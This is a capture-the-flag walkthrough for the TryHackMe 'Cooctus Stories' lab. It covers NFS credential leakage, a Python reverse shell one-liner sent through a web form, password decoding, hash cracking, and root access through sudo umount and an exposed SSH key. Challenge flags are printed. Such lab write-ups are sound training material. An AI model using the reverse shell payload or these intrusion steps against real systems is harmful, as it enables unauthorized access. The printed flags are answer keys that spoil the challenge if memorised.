TryHackMe-Cooctus-Stories

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This room is about the Cooctus Clan.

Previously on Cooctus Tracker

Overpass has been hacked! The SOC team (Paradox, congratulations on the promotion) noticed suspicious activity on a late night shift while looking at shibes, and managed to capture packets as the attack happened. (From Overpass 2 - Hacked by NinjaJc01)

Present times

Further investigation revealed that the hack was made possible by the help of an insider threat. Paradox helped the Cooctus Clan hack overpass in exchange for the secret shiba stash. Now, we have discovered a private server deep down under the boiling hot sands of the Saharan Desert. We suspect it is operated by the Clan and it’s your objective to uncover their plans.

Note: A stable shell is recommended, so try and SSH into users when possible.

Paradox is nomming cookies

Hint: Confront the CAT!

Services

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e5:44:62:91:90:08:99:5d:e8:55:4f:69:ca:02:1c:10 (RSA)
|   256 e5:a7:b0:14:52:e1:c9:4e:0d:b8:1a:db:c5:d6:7e:f0 (ECDSA)
|_  256 02:97:18:d6:cd:32:58:17:50:43:dd:d2:2f:ba:15:53 (ED25519)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      37644/udp6  mountd
|   100005  1,2,3      41390/udp   mountd
|   100005  1,2,3      49245/tcp6  mountd
|   100005  1,2,3      59977/tcp   mountd
|   100021  1,3,4      34839/tcp6  nlockmgr
|   100021  1,3,4      35275/udp   nlockmgr
|   100021  1,3,4      36517/tcp   nlockmgr
|   100021  1,3,4      40081/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
8080/tcp  open  http     Werkzeug httpd 0.14.1 (Python 3.6.9)
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: CCHQ
36517/tcp open  nlockmgr 1-4 (RPC #100021)
43101/tcp open  mountd   1-3 (RPC #100005)
55387/tcp open  mountd   1-3 (RPC #100005)
59977/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NFS

There is a NFS network share that reveals credentials:

  • Username: paradoxial.test
  • Password: ShibaPretzel79
┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ mkdir tmp  
                                                                                                                     
┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ sudo mount -t nfs 10.10.94.63: tmp 
                                                                                                                     
┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ tree tmp 
tmp
└── var
    └── nfs
        └── general
            └── credentials.bak

3 directories, 1 file
                                                                                                                     
┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ cat tmp/var/nfs/general/credentials.bak 
paradoxial.test
ShibaPretzel79

Web

There is a web service running on port 8080. There is no robots.txt file but the enumeration reveals 2 locations.

└─$ gobuster dir -u http://10.10.94.63:8080 -w /usr/share/wordlists/dirb/common.txt                            5 ⨯
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.94.63:8080
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/05/28 09:46:41 Starting gobuster in directory enumeration mode
===============================================================
/cat                  (Status: 302) [Size: 219] [--> http://10.10.94.63:8080/login]
/login                (Status: 200) [Size: 556]                                      
                                                                                     
===============================================================
2021/05/28 09:47:35 Finished
===============================================================

We can login (http://10.10.94.63:8080/login) using the credentials found just previously. Once logged in, we are redirected to the /cat page.

Reverse Shell

After playing a bit with the form and payloads, I was able to send the following payload (python reverse shell):

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.50.72",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

We now have a reverse shell:

$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.94.63] 35218
bash: cannot set terminal process group (726): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:~$ pwd
pwd
/home/paradox

Paradox Flag

[email protected]:~$ ll
ll
total 36
drwxr-xr-x 5 paradox paradox 4096 Feb 22 18:48 ./
drwxr-xr-x 6 root    root    4096 Jan  2 10:24 ../
lrwxrwxrwx 1 paradox paradox    9 Feb 20 17:13 .bash_history -> /dev/null
-rw-r--r-- 1 paradox paradox  220 Jan  2 10:24 .bash_logout
-rw-r--r-- 1 paradox paradox 3882 Feb 20 21:50 .bashrc
drwx------ 2 paradox paradox 4096 Jan  2 18:31 .cache/
drwxr-xr-x 4 paradox paradox 4096 Jan  1 22:03 CATapp/
drwx------ 3 paradox paradox 4096 Jan  2 18:31 .gnupg/
-rw-r--r-- 1 paradox paradox  807 Jan  2 10:24 .profile
-rw------- 1 paradox paradox   38 Feb 20 20:23 user.txt
[email protected]:~$ cat user.txt
cat user.txt
THM{2dccd1ab3e03990aea77359831c85ca2}

Paradox flag: THM{2dccd1ab3e03990aea77359831c85ca2}

Find out what Szymex is working on

Hint: Locating shipment…

The SniffingCat.py script

Add your SSH public key to /home/paradox/.ssh/authorized_keys and connect via SSH directly as paradox. When we connect, we can notice a message displayed every minute:

Broadcast message from [email protected] (somewhere) (Fri May 28 09:52:01 2021):     
                                                                               
Approximate location of an upcoming Dr.Pepper shipment found:
                                                                               
                                                                               
Broadcast message from [email protected] (somewhere) (Fri May 28 09:52:01 2021):     
                                                                               
Coordinates: X: 306, Y: 26, Z: 9
                                                                               
                                                                               
Broadcast message from [email protected] (somewhere) (Fri May 28 09:53:01 2021):     
                                                                               
Approximate location of an upcoming Dr.Pepper shipment found:
                                                                               
                                                                               
Broadcast message from [email protected] (somewhere) (Fri May 28 09:53:01 2021):     
                                                                               
Coordinates: X: 567, Y: 48, Z: 815                                              

There is a note in the home folder, as well as a python script (SniffingCat.py):

[email protected]:/home/szymex$ ll
total 44
drwxr-xr-x 5 szymex szymex 4096 Feb 22 18:45 ./
drwxr-xr-x 6 root   root   4096 Jan  2 10:24 ../
lrwxrwxrwx 1 szymex szymex    9 Feb 20 17:13 .bash_history -> /dev/null
-rw-r--r-- 1 szymex szymex  220 Jan  2 09:13 .bash_logout
-rw-r--r-- 1 szymex szymex 3865 Feb 20 21:27 .bashrc
drwx------ 2 szymex szymex 4096 Jan  2 09:27 .cache/
drwx------ 3 szymex szymex 4096 Jan  2 21:44 .gnupg/
drwxrwxr-x 3 szymex szymex 4096 Jan  2 10:59 .local/
-r-------- 1 szymex szymex   11 Jan  2 14:18 mysupersecretpassword.cat
-rw-rw-r-- 1 szymex szymex  316 Feb 20 20:31 note_to_para
-rwxrwxr-- 1 szymex szymex  735 Feb 20 20:30 SniffingCat.py*
-rw------- 1 szymex szymex   38 Feb 22 18:45 user.txt
[email protected]:/home/szymex$ cat note_to_para 
Paradox,

I'm testing my new Dr. Pepper Tracker script. 
It detects the location of shipments in real time and sends the coordinates to your account.
If you find this annoying you need to change my super secret password file to disable the tracker.

You know me, so you know how to get access to the file.

- Szymex

Checking the crontab confirms that the script is called by szymex and runs every minute:

[email protected]:/home/szymex$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* *     * * *   szymex  /home/szymex/SniffingCat.py
#

Below is the script:

[email protected]:/home/szymex$ cat SniffingCat.py 
#!/usr/bin/python3
import os
import random

def encode(pwd):
    enc = ''
    for i in pwd:
        if ord(i) > 110:
            num = (13 - (122 - ord(i))) + 96
            enc += chr(num)
        else:
            enc += chr(ord(i) + 13)
    return enc


x = random.randint(300,700)
y = random.randint(0,255)
z = random.randint(0,1000)

message = "Approximate location of an upcoming Dr.Pepper shipment found:"
coords = "Coordinates: X: {x}, Y: {y}, Z: {z}".format(x=x, y=y, z=z)

with open('/home/szymex/mysupersecretpassword.cat', 'r') as f:
    line = f.readline().rstrip("\n")
    enc_pw = encode(line)
    if enc_pw == "pureelpbxr":
        os.system("wall -g paradox " + message)
        os.system("wall -g paradox " + coords)

The script above provides us with the encoded form of a password: pureelpbxr. Now, we need to reverse it.

Reverse engineer the password

The script is applying a transformation to the password in clear (saved in mysupersecretpassword.cat) and displays the message if the encoded password is equal to pureelpbxr. Let’s build a quick and dirty python script that will get each letter of the alphabet, and apply the transformation, to build a conversion table.

┌──(kalikali)-[/data/Cooctus_Stories/files]
└─$ cat test.py                            
#!/usr/bin/python3

def encode(pwd):
    enc = ''
    for i in pwd:
        if ord(i) > 110:
            num = (13 - (122 - ord(i))) + 96
            enc += chr(num)
        else:
            enc += chr(ord(i) + 13)
    return enc

s = 'abcdefghijklmnopqrstuvwxyz'
clear = list(s)
encoded = list(encode(s))

pwd = "pureelpbxr"
dec = ""

for i in pwd:
    dec += clear[encoded.index(i)]

print(dec)

Running the script will reveal the password in the clear:

$ python3 test.py
cherrycoke

Lateral move (paradox -> szymex)

Now we can move to szymex and read the password:

[email protected]:/home/szymex$ su szymex
Password: 
[email protected]:~$ id
uid=1001(szymex) gid=1001(szymex) groups=1001(szymex),1004(testers)
[email protected]:~$ cd /home/szymex/
[email protected]:~$ ll
total 44
drwxr-xr-x 5 szymex szymex 4096 Feb 22 18:45 ./
drwxr-xr-x 6 root   root   4096 Jan  2 10:24 ../
lrwxrwxrwx 1 szymex szymex    9 Feb 20 17:13 .bash_history -> /dev/null
-rw-r--r-- 1 szymex szymex  220 Jan  2 09:13 .bash_logout
-rw-r--r-- 1 szymex szymex 3865 Feb 20 21:27 .bashrc
drwx------ 2 szymex szymex 4096 Jan  2 09:27 .cache/
drwx------ 3 szymex szymex 4096 Jan  2 21:44 .gnupg/
drwxrwxr-x 3 szymex szymex 4096 Jan  2 10:59 .local/
-r-------- 1 szymex szymex   11 Jan  2 14:18 mysupersecretpassword.cat
-rw-rw-r-- 1 szymex szymex  316 Feb 20 20:31 note_to_para
-rwxrwxr-- 1 szymex szymex  735 Feb 20 20:30 SniffingCat.py*
-rw------- 1 szymex szymex   38 Feb 22 18:45 user.txt
[email protected]:~$ cat user.txt 
THM{c89f9f4ef264e22001f9a9c3d72992ef}

Szymex’s flag: THM{c89f9f4ef264e22001f9a9c3d72992ef}

Find out what Tux is working on

Hint: Combine and crack

First fragment

From the note left in the home folder, we understand that we have to collect 3 fragments:

[email protected]:/home/tux$ cat note_to_every_cooctus 
Hello fellow Cooctus Clan members

I'm proposing my idea to dedicate a portion of the cooctus fund for the construction of a penguin army.

The 1st Tuxling Infantry will provide young and brave penguins with opportunities to
explore the world while making sure our control over every continent spreads accordingly.

Potential candidates will be chosen from a select few who successfully complete all 3 Tuxling Trials.
Work on the challenges is already underway thanks to the trio of my top-most explorers.

Required budget: 2,348,123 Doge coins and 47 pennies.

Hope this message finds all of you well and spiky.

- TuxTheXplorer

The first fragment can be found in the nootcode.c program. Compiling the program won’t help, but we see replacements to make, from the define statements:

szymex@cchq:/home/tux/tuxling_1$ cat nootcode.c 
#include <stdio.h>

#define noot int
#define Noot main
#define nOot return
#define noOt (
#define nooT )
#define NOOOT "f96"
#define NooT ;
#define Nooot nuut
#define NOot {
#define nooot key
#define NoOt }
#define NOOt void
#define NOOT "NOOT!\n"
#define nooOT "050a"
#define noOT printf
#define nOOT 0
#define nOoOoT "What does the penguin say?\n"
#define nout "d61"

noot Noot noOt nooT NOot
    noOT noOt nOoOoT nooT NooT
    Nooot noOt nooT NooT

    nOot nOOT NooT
NoOt

NOOt nooot noOt nooT NOot
    noOT noOt NOOOT nooOT nout nooT NooT
NoOt

NOOt Nooot noOt nooT NOot
    noOT noOt NOOT nooT NooT
NoOt

Let’s use sed to make these replacements quickly:

[email protected]:/home/tux/tuxling_1$ cat nootcode.c \
> | sed 's/noot/int/g' \
> | sed 's/Noot/main/g' \
> | sed 's/nOot/return/g' \
> | sed 's/noOt/(/g' \
> | sed 's/nooT/)/g' \
> | sed 's/NOOOT/"f96"/g' \
> | sed 's/NooT/;/g' \
> | sed 's/Nooot/nuut/g' \
> | sed 's/NOot/{/g' \
> | sed 's/nooot/key/g' \
> | sed 's/NoOt/}/g' \
> | sed 's/NOOt/void/g' \
> | sed 's/NOOT/"NOOT!\n"/g' \
> | sed 's/nooOT/"050a"/g' \
> | sed 's/noOT/printf/g' \
> | sed 's/nOOT/0/g' \
> | sed 's/nOoOoT/"What does the penguin say?\n"/g' \
> | sed 's/nout/"d61"/g'
#include <stdio.h>

#define int int
#define main main
#define return return
#define ( (
#define ) )
#define "f96" "f96"
#define ; ;
#define nuut nuut
#define { {
#define key key
#define } }
#define void void
#define "NOOT!
" ""NOOT!
"!\n"
#define "050a" "050a"
#define printf printf
#define 0 0
#define "What does the penguin say?
" "What does the penguin say?\n"
#define "d61" "d61"

int main ( ) {
    printf ( "What does the penguin say?
" ) ;
    nuut ( ) ;

    return 0 ;
}

void key ( ) {
    printf ( "f96" "050a" "d61" ) ; <------------------ first fragment
}

void nuut ( ) {
    printf ( "NOOT!
" ) ;
}

First fragment: f96050ad61

Second fragment

Based on the name of the directory where we found the 1st fragment, we can search for other folders with the same name structure:

[email protected]:/home/tux$ find / -type d -name "tuxling*" 2>/dev/null
/home/tux/tuxling_3
/home/tux/tuxling_1
/media/tuxling_2

The second fragment is in a PGP crypted file:

[email protected]:/media/tuxling_2$ cat note 
Noot noot! You found me. 
I'm Rico and this is my challenge for you.

General Tux handed me a fragment of his secret key for safekeeping.
I've encrypted it with Penguin Grade Protection (PGP).

You can have the key fragment if you can decrypt it.

Good luck and keep on nooting!

[email protected]:/media/tuxling_2$ ll
total 20
drwxrwx--- 2 tux  testers 4096 Feb 20 20:02 ./
drwxr-xr-x 3 root root    4096 Feb 20 21:04 ../
-rw-rw-r-- 1 tux  testers  740 Feb 20 20:00 fragment.asc
-rw-rw---- 1 tux  testers  280 Jan  2 20:20 note
-rw-rw-r-- 1 tux  testers 3670 Feb 20 20:01 private.key

To decrypt the message, let’s import the private key.

[email protected]:/media/tuxling_2$ gpg --import private.key 
gpg: key B70EB31F8EF3187C: public key "TuxPingu" imported
gpg: key B70EB31F8EF3187C: secret key imported
gpg: Total number processed: 1
gpg:               imported: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1
[email protected]:/media/tuxling_2$ gpg --decrypt fragment.asc 
gpg: encrypted with 3072-bit RSA key, ID 97D48EB17511A6FA, created 2021-02-20
      "TuxPingu"
The second key fragment is: 6eaf62818d

Second fragment: 6eaf62818d

Third fragment

The 3rd and last fragment was in a hidden directory in tux’s home:

[email protected]:/home/tux$ cat tuxling_3/note 
Hi! Kowalski here. 
I was practicing my act of disappearance so good job finding me.

Here take this,
The last fragment is: 637b56db1552

Combine them all and visit the station.

Crack fragments hash

All fragments join the following hash: f96050ad616eaf62818d637b56db1552

Using crackstation, we find that the password is tuxykitty.

Tux’s flag

$ sshpass -p "tuxykitty" ssh [email protected]
[email protected]:~$ cat user.txt 
THM{592d07d6c2b7b3b3e7dc36ea2edbd6f1}

Tux’s flag: THM{592d07d6c2b7b3b3e7dc36ea2edbd6f1}

Find out what Varg is working on

Hint: Boot sequence initiated…

tux can run the CooctOS.py program as varg without password:

[email protected]:~$ cd /home/varg/
[email protected]:/home/varg$ ll
total 48
drwxr-xr-x  7 varg varg      4096 Feb 20 22:06 ./
drwxr-xr-x  6 root root      4096 Jan  2 10:24 ../
lrwxrwxrwx  1 varg varg         9 Feb 20 14:54 .bash_history -> /dev/null
-rw-r--r--  1 varg varg       220 Jan  2 10:24 .bash_logout
-rw-r--r--  1 varg varg      3771 Jan  3 11:40 .bashrc
drwx------  2 varg varg      4096 Jan  3 12:53 .cache/
-rwsrws--x  1 varg varg      2146 Feb 20 22:05 CooctOS.py*
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:44 cooctOS_src/
-rw-rw-r--  1 varg varg        47 Feb 20 15:46 .gitconfig
drwx------  3 varg varg      4096 Jan  3 12:53 .gnupg/
drwxrwxr-x  3 varg varg      4096 Jan  3 10:22 .local/
drwx------  2 varg varg      4096 Feb 20 14:17 .ssh/
-rw-------  1 varg varg        38 Feb 20 21:08 user.txt
[email protected]:/home/varg$ sudo -l
Matching Defaults entries for tux on cchq:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User tux may run the following commands on cchq:
    (varg) NOPASSWD: /home/varg/CooctOS.py

We can’t read the python script, but there is a .git repository in the cooctOS_src folder. Running git show reveals the source of the program and discloses new credentials:

[email protected]:/home/varg$ cd cooctOS_src/
[email protected]:/home/varg/cooctOS_src$ ll
total 44
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:44 ./
drwxr-xr-x  7 varg varg      4096 Feb 20 22:06 ../
drwxrwx---  2 varg os_tester 4096 Feb 20 15:46 bin/
drwxrwx---  4 varg os_tester 4096 Feb 20 15:22 boot/
drwxrwx---  2 varg os_tester 4096 Feb 20 15:10 etc/
drwxrwx---  2 varg os_tester 4096 Feb 20 15:41 games/
drwxrwxr-x  8 varg os_tester 4096 Feb 20 15:47 .git/
drwxrwx---  3 varg os_tester 4096 Feb 20 14:44 lib/
drwxrwx--- 16 varg os_tester 4096 Feb 20 15:21 run/
drwxrwx---  2 varg os_tester 4096 Feb 20 09:11 tmp/
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:20 var/
[email protected]:/home/varg/cooctOS_src$ git show
commit 8b8daa41120535c569d0b99c6859a1699227d086 (HEAD -> master)
Author: Vargles <[email protected]>
Date:   Sat Feb 20 15:47:21 2021 +0000

    Removed CooctOS login script for now

diff --git a/bin/CooctOS.py b/bin/CooctOS.py
deleted file mode 100755
index 4ccfcc1..0000000
--- a/bin/CooctOS.py
+++ /dev/null
@@ -1,52 +0,0 @@
-#!/usr/bin/python3
-
-import time
-import os;
-import pty;
-
-#print(chr(27)+ "[2J")
-logo = """\033[1;30;49m
- ██████╗ ██████╗  ██████╗  ██████╗████████╗ \033[1;37;49m██████╗ ███████╗\033[1;30;49m
-██╔════╝██╔═══██╗██╔═══██╗██╔════╝╚══██╔══╝\033[1;37;49m██╔═══██╗██╔════╝\033[1;30;49m
-██║     ██║   ██║██║   ██║██║        ██║   \033[1;37;49m██║   ██║███████╗\033[1;30;49m
-██║     ██║   ██║██║   ██║██║        ██║   \033[1;37;49m██║   ██║╚════██║\033[1;30;49m
-╚██████╗╚██████╔╝╚██████╔╝╚██████╗   ██║   \033[1;37;49m╚██████╔╝███████║\033[1;30;49m
- ╚═════╝ ╚═════╝  ╚═════╝  ╚═════╝   ╚═╝    \033[1;37;49m╚═════╝ ╚══════╝\033[1;30;49m
-"""
-print(logo)
-print("                       LOADING")
-print("[", end='')
-
-for i in range(0,60):
-    #print(chr(27)+ "[2J")
-    #print(logo)
-    #print("                       LOADING")
-    print("[", end='')
-    print("=" * i, end='')
-    print("]")
-    time.sleep(0.02)
-    print("\033[A\033[A")
-
-print("\032")
-print("\033[0;0m[ \033[92m OK  \033[0;0m] Cold boot detected. Flux Capacitor powered up")
-
-print("\033[0;0m[ \033[92m OK  \033[0;0m] Mounted Cooctus Filesystem under /opt")
-
-print("\033[0;0m[ \033[92m OK  \033[0;0m] Finished booting sequence")
-
-print("CooctOS 13.3.7 LTS cookie tty1")
-uname = input("\ncookie login: ")
-pw = input("Password: ")
-
-for i in range(0,2):
-    if pw != "slowroastpork": <------------------------------------- Credentials
-        pw = input("Password: ")
-    else:
-        if uname == "varg":
-            os.setuid(1002)
-            os.setgid(1002)
-            pty.spawn("/bin/rbash")
-            break
-        else:
-            print("Login Failed")
-            break

Lateral move (tux -> varg)

Now, we can connect as varg and read the flag.

$ sshpass -p "slowroastpork" ssh [email protected]
[email protected]:~$ cat user.txt 
THM{3a33063a4a8a5805d17aa411a53286e6}

Varg’s flag: THM{3a33063a4a8a5805d17aa411a53286e6}

Get full root privileges

Hint: To mount or not to mount. That is the question.

Varg can run umount as root without password. However, checking on GTFOBins doesn’t reveal any privilege escalation with umount.

[email protected]:~$ sudo -l
Matching Defaults entries for varg on cchq:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User varg may run the following commands on cchq:
    (root) NOPASSWD: /bin/umount

Checking in the fstab file reveals that there is a mounted partition in /opt/CooctFS:

[email protected]:~$ cat /etc/fstab
# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
# / was on /dev/ubuntu-vg/ubuntu-lv during curtin installation
/dev/disk/by-id/dm-uuid-LVM-mrAx163lW73D8hFDlydZU2zYDwkd7tgT28ehcZQNMmzJmc0XKYP9m3eluIT1sZGo    /   ext4    defaults    0 0
# /boot was on /dev/sda2 during curtin installation
/dev/disk/by-uuid/6885d03d-f1fb-4785-971e-2bb17a3d22e3  /boot   ext4    defaults    0 0
#/swap.img  none    swap    sw  0 0
/home/varg/cooctOS_src  /opt/CooctFS    none    defaults,bind   0 0

Unmounting the partition reveals a root folder:

[email protected]:~$ cd /opt/CooctFS/
[email protected]:/opt/CooctFS$ ll
total 44
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:44 ./
drwxr-xr-x  3 root root      4096 Feb 20 14:30 ../
drwxrwx---  2 varg os_tester 4096 Feb 20 15:46 bin/
drwxrwx---  4 varg os_tester 4096 Feb 20 15:22 boot/
drwxrwx---  2 varg os_tester 4096 Feb 20 15:10 etc/
drwxrwx---  2 varg os_tester 4096 Feb 20 15:41 games/
drwxrwxr-x  8 varg os_tester 4096 Feb 20 15:47 .git/
drwxrwx---  3 varg os_tester 4096 Feb 20 14:44 lib/
drwxrwx--- 16 varg os_tester 4096 Feb 20 15:21 run/
drwxrwx---  2 varg os_tester 4096 Feb 20 09:11 tmp/
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:20 var/
[email protected]:/opt/CooctFS$ cd
[email protected]:~$ sudo /bin/umount /opt/CooctFS 
[email protected]:~$ ls -la /opt/CooctFS/
total 12
drwxr-xr-x 3 root root 4096 Feb 20 09:09 .
drwxr-xr-x 3 root root 4096 Feb 20 14:30 ..
drwxr-xr-x 5 root root 4096 Feb 20 09:16 root

And there is a root.txt file there, but it’s not the root flag.

[email protected]:~$ cat /opt/CooctFS/root/root.txt 
hmmm...
No flag here. You aren't root yet.

Root flag

That said, we can find the root SSH private key (/opt/CooctFS/root/.ssh/id_rsa). Save it locally, give it the proper permissions, and use it to connect as root:

┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ chmod 400 root.key                                  
                                                                                                                     
┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ ssh -i root.key [email protected]                    
[email protected]:~# cat /root/root.txt 
THM{H4CK3D_BY_C00CTUS_CL4N}

Root flag: THM{H4CK3D_BY_C00CTUS_CL4N}